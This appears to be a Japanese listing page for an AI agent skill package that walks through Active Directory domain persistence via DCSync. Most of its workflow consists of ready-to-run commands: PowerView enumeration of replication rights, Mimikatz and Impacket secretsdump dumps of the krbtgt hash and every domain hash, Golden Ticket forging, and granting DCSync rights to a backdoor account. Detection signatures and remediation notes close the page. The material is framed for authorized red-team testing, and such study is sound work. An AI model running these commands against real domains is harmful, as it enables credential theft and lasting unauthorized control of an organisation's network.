conducting-domain-persistence-with-dcsync について
Active Directory の DCSync による永続化リスクを評価するセキュリティテスト用スキルです。権限の確認、認証情報の抽出、Golden Ticket の検証、検知証拠の整理を支援します。
主な機能
- 01レプリケーション権限の列挙
- 02ドメインパスワードハッシュの抽出
- 03Golden Ticket の作成と検証
- 04DCSync 権限による永続化のテスト
- 05検知指標の確認
活用シーン
- 01ラボ環境でのレプリケーション権限監査
- 02許可されたテストでの認証情報漏えい評価
- 03Golden Ticket 検知制御の検証
- 04永続化リスクと対策の記録
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill conducting-domain-persistence-with-dcsyncインストール後、Claude Code で/conducting-domain-persistence-with-dcsyncを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
DCSync によるドメイン永続化の実施
法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的でのみ使用してください。所有していないシステム、またはテストする書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。
概要
DCSync は、Microsoft Directory Replication Service Remote Protocol(MS-DRSR)を悪用してドメインコントローラーになりすまし、対象の DC にパスワードデータを要求する攻撃手法です。この攻撃は、DS-Replication-Get-Changes と DS-Replication-Get-Changes-All の拡張権限を利用して、Benjamin Delpy(Mimikatz の作者)と Vincent Le Toux によって紹介されました。これらの権限を持つプリンシパル(ユーザーまたはコンピューター)は、ドメイン内のあらゆるアカウント(KRBTGT アカウントを含む)のパスワードハッシュを複製できます。KRBTGT ハッシュを入手すると、攻撃者は Golden Ticket を偽造し、ドメインへの永続的なアクセスを確保できます。DCSync は MITRE ATT&CK T1003.006 に分類され、APT28(Fancy Bear)、APT29(Cozy Bear)、FIN6 などの APT グループが使用する重要な侵害後の手法です。
使用する場面
- DCSync を使用したドメイン永続化を含むセキュリティ評価を実施する場合
- 関連するセキュリティイベントのインシデント対応手順に従う場合
- 定期的なセキュリティテストや監査を実施する場合
- 実践的なテストを通じてセキュリティ制御を検証する場合
前提条件
- レッドチームの概念とツールに関する知識
- 安全に実行できるテスト環境またはラボ環境へのアクセス
- 必要な依存関係をインストールした Python 3.8 以降
- すべてのテスト活動に対する適切な許可
目標
- Active Directory で DCSync(複製)権限を持つアカウントを特定する
- Mimikatz または Impacket の secretsdump.py を使用して DCSync を実行する
- Golden Ticket の作成に使用する KRBTGT アカウントのハッシュを抽出する
- 認証情報を分析するために、ドメイン内のすべてのユーザーのパスワードハッシュをダンプする
- ドメインへの永続的なアクセスのために Golden Ticket を偽造する
- 代替の永続化手段として、管理下のアカウントに DCSync 権限を付与する
- 攻撃チェーンと永続化の仕組みを文書化する
MITRE ATT&CK マッピング
- T1003.006 - OS 認証情報のダンプ:DCSync
- T1558.001 - Kerberos チケットの窃取または偽造:Golden Ticket
- T1222.001 - ファイルおよびディレクトリのアクセス許可の変更:Windows
- T1098 - アカウント操作
- T1078.002 - 有効なアカウント:ドメインアカウント
ワークフロー
フェーズ 1:DCSync 権限を持つアカウントの特定
- 複製権限を持つプリンシパルを列挙します:
# Using PowerView Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | Where-Object { ($_.ObjectAceType -match 'Replicating') -and ($_.ActiveDirectoryRights -match 'ExtendedRight') } | Select-Object SecurityIdentifier, ObjectAceType # Using BloodHound Cypher query MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain) RETURN u.name, d.name - Impacket の FindDelegation またはカスタム LDAP クエリを使用します:
# Check with Impacket findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1 - 既定で DCSync 権限を持つアカウント:
- Domain Admins
- Enterprise Admins
- Domain Controllers グループ
- ドメインコントローラー上の SYSTEM
フェーズ 2:DCSync による認証情報の抽出
- Mimikatz を使用します(Windows):
# Dump specific account (KRBTGT for Golden Ticket) mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" # Dump Domain Admin mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator" # Dump all domain accounts mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv" - Impacket の secretsdump.py を使用します(Linux):
# Dump all credentials secretsdump.py domain.local/admin:'Password123'@10.10.10.1 # Dump specific user secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1 # Dump only NTLM hashes (no Kerberos keys) secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1 # Using Kerberos authentication export KRB5CCNAME=admin.ccache secretsdump.py -k -no-pass domain.local/[email protected]
フェーズ 3:Golden Ticket の作成
- 抽出した KRBTGT ハッシュを使って Mimikatz を使用します:
# Create Golden Ticket mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \ /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \ /krbtgt:<krbtgt_ntlm_hash> /ptt" # Create with specific group memberships mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \ /sid:S-1-5-21-XXXXXXXXXX \ /krbtgt:<krbtgt_ntlm_hash> \ /groups:512,513,518,519,520 /ptt" - Impacket の ticketer.py を使用します(Linux):
# Create Golden Ticket ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \ -domain domain.local administrator # Use the ticket export KRB5CCNAME=administrator.ccache psexec.py -k -no-pass domain.local/[email protected]
フェーズ 4:DCSync 権限による永続化
- 永続化のために、管理下のアカウントに DCSync 権限を付与します:
# Using PowerView - Add DS-Replication-Get-Changes-All rights Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \ -PrincipalIdentity backdoor_user -Rights DCSync # Verify rights were added Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" } - 自動的な DCSync 権限の昇格に ntlmrelayx.py を使用します:
# Relay authentication to add DCSync rights ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
ツールとリソース
| ツール | 用途 | プラットフォーム |
|---|---|---|
| Mimikatz | DCSync による抽出、Golden Ticket の作成 | Windows |
| secretsdump.py | リモート DCSync(Impacket) | Linux(Python) |
| ticketer.py | Golden Ticket の作成(Impacket) | Linux(Python) |
| PowerView | ACL の列挙と変更 | Windows(PowerShell) |
| Rubeus | Kerberos チケットの操作 | Windows(.NET) |
| ntlmrelayx.py | リレーによる DCSync 権限の昇格 | Linux(Python) |
抽出すべき重要なハッシュ
| アカウント | 目的 | 持続性の価値 |
|---|---|---|
| krbtgt | Golden Ticket の作成 | ドメインへの無期限アクセス |
| Administrator | 直接的な DA アクセス | 即時の特権アクセス |
| サービスアカウント | ラテラルムーブメント | ドメイン全体でのサービスアクセス |
| コンピューターアカウント | Silver Ticket の作成 | サービスレベルのなりすまし |
検出シグネチャ
| 指標 | 検出方法 |
|---|---|
| 非 DC ソースからの DrsGetNCChanges RPC 呼び出し | 通常とは異なる IP からの DRSUAPI トラフィックをネットワーク監視 |
| Replicating Directory Changes GUID を含むイベント 4662 | DC の Windows セキュリティログ(1131f6aa-/1131f6ad- GUID) |
| Golden Ticket の異常を伴うイベント 4624 | 不可能な SID または存在しないユーザーを含むログオンイベント |
| ドメインルートオブジェクトの ACL 変更 | イベント 5136(ディレクトリサービスの変更) |
| レプリケーショントラフィック量の急増 | ネットワークベースラインからの逸脱を監視 |
検証基準
- DCSync 権限を持つアカウントを列挙済み
- DCSync を使用して KRBTGT ハッシュを抽出済み
- すべてのドメイン資格情報を正常にダンプ済み
- Golden Ticket を偽造し、DA アクセスを検証済み
- DCSync 権限の永続化メカニズムを確立済み(スコープ内の場合)
- Golden Ticket を使用してドメインコントローラーへのアクセスを検証済み
- ハッシュ値とタイムスタンプを含む証拠を文書化済み
- 修復の推奨事項を提示済み(KRBTGT の二重リセット、ACL 監査)